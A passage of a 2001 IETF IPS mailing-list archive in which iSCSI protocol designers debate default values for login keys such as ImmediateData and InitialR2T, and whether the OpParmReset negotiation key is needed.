29 Sep 2001 08:51:59 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 29/09/2001 09:05:12 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Somesh, There is a lot of confusion between immediate and non-solicited in general. There is no need to change the transport at all. See my previous answer to Robert Snively. Julo "Somesh Gupta" , stems.com> cc: 28-09-01 23:44 Subject: RE: iscsi : iscsi parameter default values Please respond to somesh_gupta Is there any target today that will handle ImmediateData without a significant change to the transport API? Also is there any target that does use out of order R2Ts? (Just curious) > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Julian Satran > Sent: Thursday, September 27, 2001 9:50 AM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > The one that I have trouble living with is ImmediateData. This is > important > for low-end desktops and hardly matters for large boxes. > As such I would suggest it stays as yes. > > Julo > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > , > > > iaone.net> cc: > > Sent by: Subject: RE: iscsi > : iscsi parameter default values > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > I like your defaults below. > > But, section 5 says: > > The initial Login request MUST include the InitiatorName and > SessionType key=value pairs. > > Since SessionType is REQUIRED, naming a default would imply a > possible typo > in the spec. > > Eddy > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Wednesday, September 26, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: iscsi : iscsi parameter default values > > > All, > > With the issue of mode page vs. login keys having [almost] drawn to a > close, I would like to > raise the below issues again, on the subject of default values for login > keys and other iscsi > parameters : > > > * In keeping with traditional use of scsi mode pages, iscsi should > not specify any default > settings for any mode pages that continue to exist for iscsi. > "Default values" for mode > pages are target specific and should not be bound to the protocol > draft. > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > :-< This implies that > targets must be always prepared to deal with out of order data and > initiators must be > prepared to deal with out of order data, unless the initiator > performs a mode select to > disable it. [which defeats all the previous advantages gained thru > mandating use of login > keys for other negotiations.]. A default, if it were to exist, > should be 0. (in-order, by > default). > > * Conservative specification of defaults for login keys along the > following lines : > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > is an EnableCRN bit > required at the transport layer ? If the device server capability > is to be negotiated , I > suggest this bit be moved to a SCSI ULP Mode Page such as the > "Control Mode Page", through a > T10 change as a part of the SCSI changes being driven by iscsi. > > Comments ? > > Thanks, > Santosh > > > Santosh Rao wrote: > > > There are the separate issues of : > > > > * iscsi's specification of defaults for its mode pages which is not > in line with mode page > > usage. This impacts the target's ability to enforce values other > than the protocol > > specified default, if the initiator were to not use mode > sense/select. > > > > * default settings for login keys. > > > > * Is there a need for the "LUN Control Mode Page" and whether > "Enable CRN" should be in a > > transport specific mode page ? > > > > which need to be driven to closure as well. > > > > Regards, > > Santosh > > > > > > > > From owner-ips@ece.cmu.edu Sat Sep 29 02:49:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA16285 for ; Sat, 29 Sep 2001 02:49:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T5VAN29045 for ips-outgoing; Sat, 29 Sep 2001 01:31:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T5V7P29040 for ; Sat, 29 Sep 2001 01:31:07 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id HAA22232 for ; Sat, 29 Sep 2001 07:30:55 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8T5UsP79612 for ; Sat, 29 Sep 2001 07:30:54 +0200 Subject: RE: iscsi : iscsi parameter default values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 29 Sep 2001 08:29:07 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 29/09/2001 08:30:54 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Robert, Unlike FCP - iSCSI has two forms of unsolicited "immediate" and "separate unsolicited". They can be used separately or together. Immediate data is a single PDU comming together with the command while the separate unsolicited may come after. FCP has only the second type. With separate unsolicited the target has to have the buffers for the burst and find the "control blocks" by indexing based on ITT. With Immediate data the target has to deal with a single PDU (not the entire burst). Indexing is not done twice (it is done as a check for the Control block that is being built). This is why Immediate Data is considered far less invasive than separate unsolicited (a single buffer, and no indexing) and give the performance boost it gives we are going to see it probably on every target. Julo Robert Snively cc: Subject: RE: iscsi : iscsi parameter default values 29-09-01 01:31 Please respond to Robert Snively Julian, For SCSI Write operations, ImmediateData = yes is the most demanding mode for the target. If I understand it correctly, it essentially over-rides the R2T state, allowing the first burst to be included as immediate data. In SCSI, except for special cases like this, the target is the device in charge of data transfers. This mode requires the target to have a guaranteed collection of received buffer space adequate to receive all possible outbound queued operations from all possible initiators through all possible target sessions (which may sum to 1000s of output operations), regardless of what other buffer-intensive operations may be going on in the device. It then requires the device to provide association with each of those commands instead of just the commands it has elected to activate. Without immediate data, the command buffer can be separated and separately managed from the data buffer, limiting buffer requirements. It then requires the device to operate in a non-zero-copy mode (which raises buffer utilization and increases latency) while the device analyzes the command to determine what should be done with the data. It further requires the subsequent data (if there is more than one PDU to be transmitted) to be separately managed, and perhaps actually stored in a separate operation if the buffer must be cleared to make space available for it. It further requires the target to analyze the data for completeness before going on to determine what to do with it. Sure, it is easy for the initiator, but so is everything else except out-of-order reads. It is the target you are stressing with this. For local sub-LANs, and depending on the actual buffering available in the target, the performance may actually be lower with ImmediateData allowed, because zero copy behavior of the target to non-volatile media is not available, which raises buffer utilization. Have I missed something that would change my mind? Bob > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 28, 2001 10:38 AM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > > Robert, > > I disagree that Immediate is "the most demanding" mode. That > is not my > experience and not what I heard from most of the developers. On the > contrary immediate data do not require a separate indexing > operation on the > target (as non-immediate unsolicited do) and that was the base for the > consensus to have them negotiated separately. > > For the software initiator it is the most inexpensive way to > perform short > data transfers (4-8k) typical for major applications like > Database access > and so it is for lightweight target. > > Julo > > > > > > Robert Snively > > Hufferd/San Jose/IBM@IBMUS, Julian > ade.com> > Satran/Haifa/IBM@IBMIL > cc: > ips@ece.cmu.edu > 28-09-01 17:25 Subject: RE: > iscsi : iscsi parameter default values > Please respond > > to Robert > > Snively > > > > > > > > > I vote no as the default value on ImmediateData. > > A default value of yes on ImmediateData requires implementation > of the most complex and demanding mode of operation as the > default. SCSI has traditionally made its default behavior the > simplest and most encompassing, setting more sophisticated > behavior by subsequent agreement. While it may be your earnest > desire to encourage the implementation of this function, it > is not appropriate to demand that as the default behavior > of all devices. In particular, there is no special benefit > to providing ImmediateData in low-cost local sub-lans. > > If you want to encourage it in a profile, fine, but demanding > it as the default in the core standard is not appropriate. > > Note that the behavior of SCSI is traditionally managed > entirely by the target. As such, there has never before now > been a requirement for the target to, as a default, accept > any PDU except a command or task management function > that was not explicitly solicited. That is one of the mechanisms > that assists SCSI in achieving a low-overhead zero copy > capability while operating with a large number of initiators > and with deep command queues. > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Friday, September 28, 2001 1:33 AM > > To: Julian Satran > > Cc: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > I also agree with this. It should be yes. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: ips@ece.cmu.edu > > cc: > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > This is important > > for low-end desktops and hardly matters for large boxes. > > As such I would suggest it stays as yes. > > > > Julo > > > > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > > , > > > > iaone.net> cc: > > Sent by: Subject: RE: > > iscsi : iscsi > > parameter default values > > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > > > > I like your defaults below. > > > > But, section 5 says: > > > > The initial Login request MUST include the InitiatorName and > > SessionType key=value pairs. > > > > Since SessionType is REQUIRED, naming a default would imply a > > possible typo > > in the spec. > > > > Eddy > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Wednesday, September 26, 2001 10:29 PM > > To: ips@ece.cmu.edu > > Subject: iscsi : iscsi parameter default values > > > > > > All, > > > > With the issue of mode page vs. login keys having [almost] > drawn to a > > close, I would like to > > raise the below issues again, on the subject of default > > values for login > > keys and other iscsi > > parameters : > > > > > > * In keeping with traditional use of scsi mode pages, > iscsi should > > not specify any default > > settings for any mode pages that continue to exist for iscsi. > > "Default values" for mode > > pages are target specific and should not be bound to > the protocol > > draft. > > > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > > :-< This implies that > > targets must be always prepared to deal with out of > > order data and > > initiators must be > > prepared to deal with out of order data, unless the initiator > > performs a mode select to > > disable it. [which defeats all the previous advantages > > gained thru > > mandating use of login > > keys for other negotiations.]. A default, if it were to exist, > > should be 0. (in-order, by > > default). > > > > * Conservative specification of defaults for login keys along the > > following lines : > > MaxConnections = 1 > > FMarker = "no" > > InitialR2T = "yes" > > BidiInitialR2T = "yes" > > ImmediateData = "no" > > DataPDULength = 16 > > MaxOutstandingR2T = 1 > > DataPDUInOrder = "yes" > > ErrorRecoveryLevel = 0 > > SessionType = "normal" > > > > * Should the iscsi protocol require a "Lun Control Mode > Page"? IOW, > > is an EnableCRN bit > > required at the transport layer ? If the device server > capability > > is to be negotiated , I > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > "Control Mode Page", through a > > T10 change as a part of the SCSI changes being driven by iscsi. > > > > Comments ? > > > > Thanks, > > Santosh > > > > > > Santosh Rao wrote: > > > > > There are the separate issues of : > > > > > > * iscsi's specification of defaults for its mode pages > > which is not > > in line with mode page > > > usage. This impacts the target's ability to enforce > > values other > > than the protocol > > > specified default, if the initiator were to not use mode > > sense/select. > > > > > > * default settings for login keys. > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > "Enable CRN" should be in a > > > transport specific mode page ? > > > > > > which need to be driven to closure as well. > > > > > > Regards, > > > Santosh > > > > > > > > > > > > > > > > > > > > > > > > > > > From owner-ips@ece.cmu.edu Sat Sep 29 02:49:51 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA16296 for ; Sat, 29 Sep 2001 02:49:51 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T5d6D29361 for ips-outgoing; Sat, 29 Sep 2001 01:39:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T5d3P29356 for ; Sat, 29 Sep 2001 01:39:03 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id HAA86796 for ; Sat, 29 Sep 2001 07:38:57 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8T5ctw113384 for ; Sat, 29 Sep 2001 07:38:55 +0200 Subject: Re: iscsi : OpParmreset To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 29 Sep 2001 08:39:16 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 29/09/2001 08:38:55 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Mallikarjun, That is not a negotiation or a sequence reset. It is only a bookmark reset. Bookmarks are used by the target if it has more data than it can send in a single PDU (like on answer to SEndTargets) and resetting it means only that the initiator does not want more data. We could generalize it and demand that every negotiation sequence carry a bookmark but I am afraid this would be confusing. Julo "Mallikarjun C." To: ips Subject: Re: iscsi : OpParmreset Sent by: owner-ips@ece. cmu.edu 29-09-01 05:06 Please respond to cbm Julian, Thanks for incorporating the suggestion in 07-99 as the change log indicates. However, I see that my option (b) for the initiator is still allowed (empty text command abort)in 3.11.3. Is there an unrelated reason for that? Thanks. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Julian Satran wrote: > > Mallikarjun, > > What you are suggesting is: > > abort for the initiator > > reject for the target. > > It is feasible but not nice. > > Let me think if we can have a better alternative. > > 07-98 still has OpParmReset. > > Julo > > > "Mallikarjun > C." To: ips > om> Subject: Re: iscsi : OpParmreset > Sent by: > owner-ips@ece. > cmu.edu > > > 27-09-01 19:10 > Please respond > to cbm > > > > Julian, > > > >From your answer it looks like you agree that we need a way to > reset/abort > > a negotiation > > Sure, I agree we need a mechanism. > > >but you object to the OpParmReset. > > Not specifically. I was only concerned that there seem to be several > ways of aborting/terminating a negotiation. I can count three > mechanisms > for initiator - > a) Abort Task > b) Empty text command with TTT=0xffffffff > c) OpParmReset > > And two for the target - > a) Timing out the bookmark state, and Reject ("no bookmark for > this ITT" - 0x09) the TTT. > b) OpParmReset > > I suggest that we retain only the option-(a)'s for both, and > drop the rest. For this to happen, the case (b) for initiator > should probably be a Reject("Illegal bookmark") - since as you > say, it does seem ambiguous. > > Regards. > -- > Mallikarjun > > Mallikarjun Chadalapaka > Networked Storage Architecture > Network Storage Solutions Organization > MS 5668 Hewlett-Packard, Roseville. > cbm@rose.hp.com > > Julian Satran wrote: > > > > Mallikarjun, > > > > >From your answer it looks like you agree that we need a way to > reset/abort > > a negotiation but you object to the OpParmReset. > > Abort task has the disadvantage that the target can't issue it (so that > > the target has no means to force an abort). > > An empty task request or response is ambiguous. > > We could introduce a binary field meaning goon/abort? Is that better > that > > OpParmReset (by which we can always introduce a richer semantics - like > > rest to default). > > > > Julo > > > > > > "Mallikarjun > > C." To: ips > > > om> Subject: Re: iscsi : > OpParmreset > > Sent by: > > owner-ips@ece. > > cmu.edu > > > > > > 27-09-01 03:26 > > Please respond > > to cbm > > > > > > > > Julian, > > > > I assume you mean terminate/end a negotiation by "rest a > > negotiaion". If so, I can see two more ways to do the same - > > - aborting the task (changes from rev06 to rev07), > > - sending an empty text command with TTT=0xffffffff. > > > > Either should undo the results of the partial negotiation > > in FFP, as we described in "Negotiation failures" section. > > During the login, as Matthew pointed out, we don't seem to > > need OpParmReset either. > > > > Can you please confirm if you see the same choices? If so, > > I do not see the need for OpParmReset. > > > > Regards. > > -- > > Mallikarjun > > > > Mallikarjun Chadalapaka > > Networked Storage Architecture > > Network Storage Solutions Organization > > MS 5668 Hewlett-Packard, Roseville. > > cbm@rose.hp.com > > > > Julian Satran wrote: > > > > > > OpParmReset is the only way we have now to rest a negotiation in FFP > > > (public or vendor specific). > > > The restriction about R2T is related to a deadlock that can result when > > you > > > change from no to yes. > > > > > > Julo > > > > > > > > > "BURBRIDGE,MATTH > > > EW To: Julian > > Satran/Haifa/IBM@IBMIL, > > > (HP-UnitedKingdo ips@ece.cmu.edu > > > m,ex2)" cc: > > > > OpParmreset > > > ge@hp.com> > > > Sent by: > > > owner-ips@ece.cm > > > u.edu > > > > > > > > > 24-09-01 13:36 > > > Please respond > > > to > > > "BURBRIDGE,MATTH > > > EW > > > (HP-UnitedKingdo > > > m,ex2)" > > > > > > > > > > > > Is OpParmReset still needed now that there is no operational parameter > > > negotiation until after the security phase? Why would both sides > > > negoitiate > > > a set of parameters only for one side to reset. Surely if one side > > during > > > login is not happy then it should close the connection. In FFP, as > there > > > is > > > no way to re-negotiate (after the OpParmReset) again if one side is not > > > happy then should it not close the connection and start a new one. > > > > > > Also if in FFP, if OpParmReset is sent then does it just reset those > > > parameters that can be negoiated during FFP and not those restricted to > > the > > > login phase? If so would it be easier to negotiate those parameters > > using > > > the explicit name (e.g. InitialR2T) and remove the restriction of > > (example) > > > "Once set to no, it can not be set back to yes" - as this is what using > > > OpParmReset permits. > > > > > > Matthew > > > > > > -----Original Message----- > > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > > Sent: Friday, September 21, 2001 4:34 PM > > > To: ips@ece.cmu.edu > > > Subject: Re: iscsi : OpParmreset > > > > > > Santosh, > > > > > > The main purpose of this key was to explicitly cancel the effects of a > > > running negotiation and restart anew. > > > As the draft stands now there is no much difference between the two - > but > > > on basic principles the purposes are different (as you well stated). > We > > > may change the value to be: > > > > > > OpParmReset= > > > > > > to accommodate both semantics. > > > > > > Julo > > > > > > Santosh Rao > > > > > > > > > > > hp.com> cc: > > > > > > Sent by: Subject: iscsi : > OpParmreset > > > > > > owner-ips@ece. > > > > > > cmu.edu > > > > > > 20-09-01 22:19 > > > > > > Please respond > > > > > > to Santosh Rao > > > > > > All, > > > > > > Please refer the definition of OpParmReset login key. > > > > > > " 30 OpParmReset > > > > > > OpParmReset enables an Initiator or Target to request the operational > > > parameters to be reset to the values they had before the negotiation." > > > > > > I suggest that the definition be re-worded to state that the > OpParmReset > > > enables an initiator or target to reset the operational parameters to > > > their DEFAULT VALUES. [instead of the current definition that states > > > that the parameters are reset to the values they had prior to the > > > current negotiation.] > > > > > > The current definition requires the initiator to maintain 2 sets of > > > operational parameter values, the current and the previous. In the case > > > where initiator is just booting up, if the target sets OpParmReset to > > > "yes", the initiator does not know what to set the op params to, since > > > it has lost its prior state information. > > > > > > Comments ? > > > > > > Thanks, > > > Santosh > > > > > > - santoshr.vcf From owner-ips@ece.cmu.edu Sat Sep 29 03:56:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA18193 for ; Sat, 29 Sep 2001 03:56:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T6gvj01966 for ips-outgoing; Sat, 29 Sep 2001 02:42:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T6gsP01961 for ; Sat, 29 Sep 2001 02:42:55 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id IAA83130 for ; Sat, 29 Sep 2001 08:42:48 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8T6glw213062 for ; Sat, 29 Sep 2001 08:42:47 +0200 Subject: Re: iscsi : iscsi parameter default values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 29 Sep 2001 09:43:08 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 29/09/2001 09:42:47 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, The text for 08 is now: In "numerical" negotiations, the offering and responding party state a numerical value. The result of the negotiation is key dependent; frequently the lower or the higher of the two values is used. For numerical negotiations, the responding party MUST respond with the required key. Binary negotiations (for keys taking the values yes or no) are a restricted form of numerical negotiations and the result is a key dependent Boolean function of the two inputs. The negotiation MAY proceed only up to the point where both parties can unequivocally compute the result; continuing beyond this point is OPTIONAL (e.g., if the function is AND and one of the parties says "no" then this may end the negotiation). The value "?" with any key has the meaning of enquiry and should be answered with the current value or "NotUnderstood". No round trip needed for your example. Julo Santosh Rao cc: Sent by: Subject: Re: iscsi : iscsi parameter default values owner-ips@ece. cmu.edu 28-09-01 21:03 Please respond to Santosh Rao John & Julian, I agree with you that ImmediateData is a powerful performance optimization and initiators would like to utilize this feature as much as possible. However, the decision on what the default setting of ImmediateData should be depends on 2 factors, that are aside from initiator's enthusiam to use this feature : 1) It is the most common feature set supported on most targets that should be considered while deciding this default. IOW, are most targets able to support immediate data ? Are they in a position to guarantee data buffers to initiators up-front, not knowing how many initiators would be concurrently logged in and how much concurrent I/O load they would be receiving from the logged-in initiators ? 2) The decision of the default is also partly influenced by the outcome of a seperate mail thread I've initiated with the subject "iscsi : target originated negotiation". Julian, can you please clarify in the wake of comments from Eddy Quicksall & Rod Harrison on this issue ? I see this as an area of interop concern since different folks are interpreting the spec differently. Of particular interest from that thread to this discussion, is the case where most targets do not support ImmediateData [due to the factors mentioned in (1) above] and most initiators are attempting to use ImmediateData [due to the performance boosts it provides], but, are using the default of "yes" to negotiate this feature. In this case, the target would be compelled to originate the ImmediateData="no" key in order to break the default. Now, if initiators (the responder to the negotiation, in this case) are required to respond to this key originated by the target, then, this is going to cause extra round-trips in the login process for the sole purpose of both sides agreeing that ImmediateData is not to be used. It would help to have clarification on how the target originated negotiation culminates, since that is a factor in deciding this default. Thanks, Santosh John Hufferd wrote: > > Robert, > We have had this debate before, and I guess the sides are still polarized. > However, a number of folks believe that immediate is easier to handle then > R2T (since all the information they need is with the PDU), and the > conservative option. The main discussion has been since they also want to > have R2T they did not want to have two code paths. However, when folks > have looked at the effort to support immediate data, they have found it to > be trivial. > > The payback of NOT having multiple round trips to get the data is an > important feature, and when you think about all the error recovery items we > have been discussing, it is clear that immediate data makes every thing > easier. > > The important performance improvements are so important to iSCSI (in my > mind) that if the worse the Target has to do if it can not handle immediate > data, is to send the Text Key of "ImmediateData=no", I do not think this is > a problem. We need to have this performance feature thought about as a > normal property of iSCSI, so that every one that talks about the advantages > of iSCSI can include this, with out a bunch of qualifying statements. > Having this as the default is one way to keep this thought at the front of > everyone's mind. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > Robert Snively on 09/28/2001 08:25:45 AM > > To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > I vote no as the default value on ImmediateData. > > A default value of yes on ImmediateData requires implementation > of the most complex and demanding mode of operation as the > default. SCSI has traditionally made its default behavior the > simplest and most encompassing, setting more sophisticated > behavior by subsequent agreement. While it may be your earnest > desire to encourage the implementation of this function, it > is not appropriate to demand that as the default behavior > of all devices. In particular, there is no special benefit > to providing ImmediateData in low-cost local sub-lans. > > If you want to encourage it in a profile, fine, but demanding > it as the default in the core standard is not appropriate. > > Note that the behavior of SCSI is traditionally managed > entirely by the target. As such, there has never before now > been a requirement for the target to, as a default, accept > any PDU except a command or task management function > that was not explicitly solicited. That is one of the mechanisms > that assists SCSI in achieving a low-overhead zero copy > capability while operating with a large number of initiators > and with deep command queues. > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Friday, September 28, 2001 1:33 AM > > To: Julian Satran > > Cc: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > I also agree with this. It should be yes. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: ips@ece.cmu.edu > > cc: > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > This is important > > for low-end desktops and hardly matters for large boxes. > > As such I would suggest it stays as yes. > > > > Julo > > > > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > > , > > > > iaone.net> cc: > > Sent by: Subject: RE: > > iscsi : iscsi > > parameter default values > > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > > > > I like your defaults below. > > > > But, section 5 says: > > > > The initial Login request MUST include the InitiatorName and > > SessionType key=value pairs. > > > > Since SessionType is REQUIRED, naming a default would imply a > > possible typo > > in the spec. > > > > Eddy > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Wednesday, September 26, 2001 10:29 PM > > To: ips@ece.cmu.edu > > Subject: iscsi : iscsi parameter default values > > > > > > All, > > > > With the issue of mode page vs. login keys having [almost] drawn to a > > close, I would like to > > raise the below issues again, on the subject of default > > values for login > > keys and other iscsi > > parameters : > > > > > > * In keeping with traditional use of scsi mode pages, iscsi should > > not specify any default > > settings for any mode pages that continue to exist for iscsi. > > "Default values" for mode > > pages are target specific and should not be bound to the protocol > > draft. > > > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > > :-< This implies that > > targets must be always prepared to deal with out of > > order data and > > initiators must be > > prepared to deal with out of order data, unless the initiator > > performs a mode select to > > disable it. [which defeats all the previous advantages > > gained thru > > mandating use of login > > keys for other negotiations.]. A default, if it were to exist, > > should be 0. (in-order, by > > default). > > > > * Conservative specification of defaults for login keys along the > > following lines : > > MaxConnections = 1 > > FMarker = "no" > > InitialR2T = "yes" > > BidiInitialR2T = "yes" > > ImmediateData = "no" > > DataPDULength = 16 > > MaxOutstandingR2T = 1 > > DataPDUInOrder = "yes" > > ErrorRecoveryLevel = 0 > > SessionType = "normal" > > > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > > is an EnableCRN bit > > required at the transport layer ? If the device server capability > > is to be negotiated , I > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > "Control Mode Page", through a > > T10 change as a part of the SCSI changes being driven by iscsi. > > > > Comments ? > > > > Thanks, > > Santosh > > > > > > Santosh Rao wrote: > > > > > There are the separate issues of : > > > > > > * iscsi's specification of defaults for its mode pages > > which is not > > in line with mode page > > > usage. This impacts the target's ability to enforce > > values other > > than the protocol > > > specified default, if the initiator were to not use mode > > sense/select. > > > > > > * default settings for login keys. > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > "Enable CRN" should be in a > > > transport specific mode page ? > > > > > > which need to be driven to closure as well. > > > > > > Regards, > > > Santosh > > > > > > > > > > > > > > > > > > > > > > -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Sat Sep 29 05:46:19 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA19108 for ; Sat, 29 Sep 2001 05:46:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T8d7K06462 for ips-outgoing; Sat, 29 Sep 2001 04:39:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T8d4P06456 for ; Sat, 29 Sep 2001 04:39:05 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id KAA05194 for ; Sat, 29 Sep 2001 10:38:58 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8T8cvw213090 for ; Sat, 29 Sep 2001 10:38:57 +0200 To: ips@ece.cmu.edu 